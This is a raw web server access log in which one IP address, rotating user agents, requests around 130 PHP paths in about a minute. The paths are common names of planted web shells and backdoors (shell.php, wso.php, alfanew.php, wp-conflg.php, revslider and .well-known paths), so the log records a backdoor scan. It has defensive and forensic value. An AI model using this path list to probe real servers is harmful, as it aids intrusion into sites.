[25/Apr/2025:12:09:25 -0400] "GET /hj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:25 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:26 -0400] "GET /lp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:26 -0400] "GET /Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 180.149.228.172 - - [25/Apr/2025:12:09:27 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:09:27 -0400] "GET /yt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:28 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 180.149.228.172 - - [25/Apr/2025:12:09:28 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:09:28 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 180.149.228.172 - - [25/Apr/2025:12:09:29 -0400] "GET /.github/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 180.149.228.172 - - [25/Apr/2025:12:09:29 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 180.149.228.172 - - [25/Apr/2025:12:09:30 -0400] "GET /bn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:31 -0400] "GET /wordpress/update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:31 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 180.149.228.172 - - [25/Apr/2025:12:09:32 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:33 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 180.149.228.172 - - [25/Apr/2025:12:09:33 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:09:34 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:09:34 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:34 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:35 -0400] "GET /wp-admin/includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 180.149.228.172 - - [25/Apr/2025:12:09:35 -0400] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:35 -0400] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:35 -0400] "GET /wp-admin/css/colors/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 180.149.228.172 - - [25/Apr/2025:12:09:36 -0400] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:36 -0400] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:09:36 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 180.149.228.172 - - [25/Apr/2025:12:09:36 -0400] "GET /wp-content/themes/xc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:37 -0400] "GET /baxa1.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:09:37 -0400] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:09:37 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:09:37 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:38 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:38 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:38 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:39 -0400] "GET /wp-content/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:39 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:39 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 180.149.228.172 - - [25/Apr/2025:12:09:40 -0400] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:40 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 180.149.228.172 - - [25/Apr/2025:12:09:40 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:41 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:41 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:42 -0400] "GET /ff.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:09:42 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:42 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:09:42 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 180.149.228.172 - - [25/Apr/2025:12:09:43 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:09:43 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 180.149.228.172 - - [25/Apr/2025:12:09:43 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 180.149.228.172 - - [25/Apr/2025:12:09:44 -0400] "GET /wp-includes/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 180.149.228.172 - - [25/Apr/2025:12:09:44 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:09:45 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:45 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:09:45 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 180.149.228.172 - - [25/Apr/2025:12:09:46 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:47 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 180.149.228.172 - - [25/Apr/2025:12:09:47 -0400] "GET /aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 180.149.228.172 - - [25/Apr/2025:12:09:47 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:48 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 180.149.228.172 - - [25/Apr/2025:12:09:48 -0400] "GET /dr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:49 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:09:49 -0400] "GET /wp-admin/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 180.149.228.172 - - [25/Apr/2025:12:09:49 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:09:49 -0400] "GET /ay.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 180.149.228.172 - - [25/Apr/2025:12:09:50 -0400] "GET /wordpress/wp-admin/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:51 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:51 -0400] "GET /wp-content/plugins/ioptimization/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:51 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:52 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 180.149.228.172 - - [25/Apr/2025:12:09:52 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:09:52 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:52 -0400] "GET /yy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 180.149.228.172 - - [25/Apr/2025:12:09:53 -0400] "GET /.well-known/pki-validation/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 180.149.228.172 - - [25/Apr/2025:12:09:53 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:53 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:54 -0400] "GET /tr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:54 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:09:54 -0400] "GET /wp-includes/css/dist/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:54 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 180.149.228.172 - - [25/Apr/2025:12:09:55 -0400] "GET /aq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:09:55 -0400] "GET /yu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:55 -0400] "GET /gt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 180.149.228.172 - - [25/Apr/2025:12:09:55 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:56 -0400] "GET /op.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 180.149.228.172 - - [25/Apr/2025:12:09:56 -0400] "GET /l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 180.149.228.172 - - [25/Apr/2025:12:09:56 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 180.149.228.172 - - [25/Apr/2025:12:09:57 -0400] "GET /update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:57 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:09:57 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:09:58 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 180.149.228.172 - - [25/Apr/2025:12:09:58 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:09:58 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:59 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:59 -0400] "GET /er.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:59 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 180.149.228.172 - - [25/Apr/2025:12:09:59 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:10:00 -0400] "GET /ssa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 180.149.228.172 - - [25/Apr/2025:12:10:00 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 180.149.228.172 - - [25/Apr/2025:12:10:00 -0400] "GET /hardenX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 180.149.228.172 - - [25/Apr/2025:12:10:00 -0400] "GET /.qiofetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 180.149.228.172 - - [25/Apr/2025:12:10:01 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:10:01 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:10:01 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:10:02 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 180.149.228.172 - - [25/Apr/2025:12:10:03 -0400] "GET /images/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:10:03 -0400] "GET /new2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:10:04 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:10:04 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:10:04 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 180.149.228.172 - - [25/Apr/2025:12:10:05 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:10:05 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 180.149.228.172 - - [25/Apr/2025:12:10:06 -0400] "GET /ki.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:10:06 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:10:08 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:10:09 -0400] "GET /about/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like 